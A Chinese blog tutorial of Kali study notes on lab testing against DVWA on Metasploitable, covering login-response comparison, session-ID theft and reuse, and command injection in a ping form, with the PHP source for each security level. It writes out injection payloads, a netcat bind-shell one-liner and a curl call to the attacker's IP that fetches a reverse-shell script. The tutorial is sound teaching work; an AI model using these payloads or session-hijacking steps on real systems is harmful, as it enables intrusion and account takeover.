zoukankan      html  css  js  c++  java
  • Kali学习笔记30:身份认证与命令执行漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序

    完全是想到什么写一些什么,但各个方面都涵盖到了

    能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道

    实验环境:

    Kali机器:192.168.163.132

    Metasploitable靶机:192.168.163.129

    首先我们要尝试身份认证(登陆):

    就拿DVWA来测试

    启动Burpsuite,访问DVWA:

    假设我们现在不知道这里的用户名和密码是多少:

    现在我先把密码故意输错:

    发现DVWA只是告诉我登陆失败,却并没有告诉我哪里失败,为什么会失败

    说明DVWA在身份认证方面还做得不错,如果是一些没有安全意识的程序猿,可能会返回密码错误的界面

    然后我们输入正确的密码,用Burp进行比较:

    发现返回的结果除了重定向页面和时间基本一致:说明DVWA做的比较好

    如果正确和失败返回的结果有不同之处,那么我们就可以利用这里的漏洞来爆破

    但是,如果我们想尽办法还是登陆不上去呢?

    这时候可以想象Cookie方面有没有可以利用的?

    如何获取SessionID:

    第一种:XSS,这种后面具体介绍

    第二种:通过Get或者Post传递的SessionID

    做得不好的Web应用,有可能直接把SessionID放在URL上,利用社会工程学获取后直接就可以利用

    稍微有点安全意识的程序猿,会把SessionID利用POST提交,利用嗅探还是可以获取:

    示例:

    我用Windows机器作为正常的管理员登陆Metasploitable:

    登陆之后,我查看到Cookie里面的SessionID:

    这里是做演示的,具体的如何获取SessionID我会在后边的过程进行演示

    然后我就可以用这里的Cookie使Kali机器直接以Windows机器的身份来登陆

    可以利用Kali的Firefox的Cookie Manager插件进行Cookie编辑:

    当然也可以复制出来SessionID,然后我把它组装好

    让Kali使用Burp发送

    同时:我们需要更仔细地关注SessionID,它的有效时间,规律等

    比如:

    点击logout后,sessionID是否会消失

    关闭浏览器,sessionID是永久小时还是只改变了状态

    然而SessionID其实本质是算法生成的,那么我们就可以使用Burp的Sequence模块来测试

    我前面的文章就有提到过,然后就可以针对来生成下一个SessionID,从而做很多的事情

    下面,假设我们已经登陆进入了目标:

    接下来就可以用我前面文章中写到的一些自动化扫描工具进行Web漏洞扫描

    或者继续进行手动挖掘:

    下面来看第二种漏洞:

    命令执行:

    我先把DVWA的安全性调到最低

    这里有一个应用:输入一个IP地址,Ping目标,返回结果

    我先演示下这里的漏洞,下面具体说:

    我尝试输入ls命令:没有反应

    那么ls加入分号呢?

    结果执行了ls命令

    我用Burp来对比两次的请求:

    发送请求的时候对分号进行了URL编码

    那么,我们如何去发现命令执行漏洞呢?

    首先,我们要了解很多的常见漏洞类型

    当有一个可以提交数据的表单时候,就要联想到是否有可能发现能够利用的漏洞?

    就比如说是这里:

    调用操作系统Ping命令而且要返回值,我想到如果用PHP实现比较复杂

    那么有可能是目标直接条用系统命令吗?如果是偷懒的程序猿有可能会直接来调用系统命令

    首先我输入正常的IP,看看结果:

    返回值竟然和系统直接Ping命令格式一致

    于是我更进一步可以确认,这里很有可能有命令执行漏洞

    首先尝试直接ls命令,上边尝试了,但是没有结果

    那我为什么后边又加入了;呢?

    然后结合Linux系统的知识:如果想一次执行多条命令,可以使用;或者|

    于是,我考虑加入“;”之后再输入命令:果然

    实际中如果发现了这种漏洞,就可以用Burp发送提权命令等等

    查看源码:

     <?php
    
    if( isset( $_POST[ 'submit' ] ) ) {
    
        $target = $_REQUEST[ 'ip' ];
    
        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) { 
        
            $cmd = shell_exec( 'ping  ' . $target );
            echo '<pre>'.$cmd.'</pre>';
            
        } else { 
        
            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            echo '<pre>'.$cmd.'</pre>';
            
        }
        
    }
    ?> 

    简单分析:获取的变量直接给Target复制,然后执行系统命令,存在漏洞

    接下来把DVWA的安全性调到中:

    这时候如果输入;ls或者&&符号时候,并不会执行系统命令

    查看源码:

     <?php
    
    if( isset( $_POST[ 'submit'] ) ) {
    
        $target = $_REQUEST[ 'ip' ];
    
        // Remove any of the charactars in the array (blacklist).
        $substitutions = array(
            '&&' => '',
            ';' => '',
        );
    
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
        
        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) { 
        
            $cmd = shell_exec( 'ping  ' . $target );
            echo '<pre>'.$cmd.'</pre>';
            
        } else { 
        
            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            echo '<pre>'.$cmd.'</pre>';
            
        }
    }
    
    ?> 

    仔细观察后发现原来是把“;”和“&&”特殊符号都变成空字符了(&&表示前一个命令执行成功后执行后一个命令)

    然而对吗漏掉了|这个符号,如果输入|ls还是可以的

    或者使用一个&,Linux中使用一个&代表两条命令一起执行:

    127.0.0.1 & ls

    或者使用两个|,即||,也可以作到,不过需要前一个命令执行失败,再执行后一个命令:

    那么将DVWA高安全级别呢?

    尝试了各种各样的字符后发现还是没有漏洞

    查看源码:

    <?php
    
    if( isset( $_POST[ 'submit' ] ) ) {
    
        $target = $_REQUEST["ip"];
        
        $target = stripslashes( $target );
        
        
        // Split the IP into 4 octects
        $octet = explode(".", $target);
        
        // Check IF each octet is an integer
        if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) {
        
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
        
        
            // Determine OS and execute the ping command.
            if (stristr(php_uname('s'), 'Windows NT')) { 
        
                $cmd = shell_exec( 'ping  ' . $target );
                echo '<pre>'.$cmd.'</pre>';
            
            } else { 
        
                $cmd = shell_exec( 'ping  -c 3 ' . $target );
                echo '<pre>'.$cmd.'</pre>';
            
            }
        
        }
        
        else {
            echo '<pre>ERROR: You have entered an invalid IP</pre>';
        }
        
        
    }
    
    ?> 

    它这里是如何判断的呢?

    收到的数据然后进行拆分,拆分后四个部分如果是数字,再进行组合,生成一个IP

    就算了系统命令用.来分割,但是由于不是数字,不会重组

    所以调整到高安全级别基本就是安全的一个应用了

    回到刚才在低安全级别下的状态:

    我已经找到这里有命令执行的漏洞了

    那么怎么做进一步的操作呢?

    比如:开启

    mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe

    输入后使用nc连接:得到shell

    但是注意:这里获得的权限不是root

    最后看一个有趣的现象:

    本意:

    把Kali系统的反连Shell脚本复制到Apache服务器,重命名为1.php,是目标访问1.php从而获得shell

    对反连shell进行编辑:设置号反连的IP,比如这里我设置的是Kali机器

    然后启动Apache服务:

    这时候命令执行的表单填写内容:

    ;curl http://192.168.163.132/1.php

    提交前nc监听端口,点击按钮,然后获取shell:

    结果我仔细观察后发现获取的是我Kali本机的shell!!

    原因:

    1.php本质是存在于Kali机器的,所以访问1.php就会让Kali机器把shell发出,再让本机收到shell

    上一篇中我把1.php的内容复制出来,用Burp发送出去,1.php的内容是在目标机器上执行的,与这种情况不一样

    所以要注意:

    反连shell脚本在哪个机器就会反弹哪个机器的shell

  • 相关阅读:
    JAVA写入文本文件
    oracle误删数据闪回
    Myeclipese :Creation of element failed解决方法
    Hibernate的四种状态
    java中list、set和map 的区别<转>
    C#操作mysql中临时表不自动删除
    WPF 实现地图的移动和滚动放大
    c# 将十六进制字符串写入注册表
    ASP.NET 视图状态概述:初步了解
    vs好用插件
  • 原文地址:https://www.cnblogs.com/xuyiqing/p/9963436.html
Copyright © 2011-2022 走看看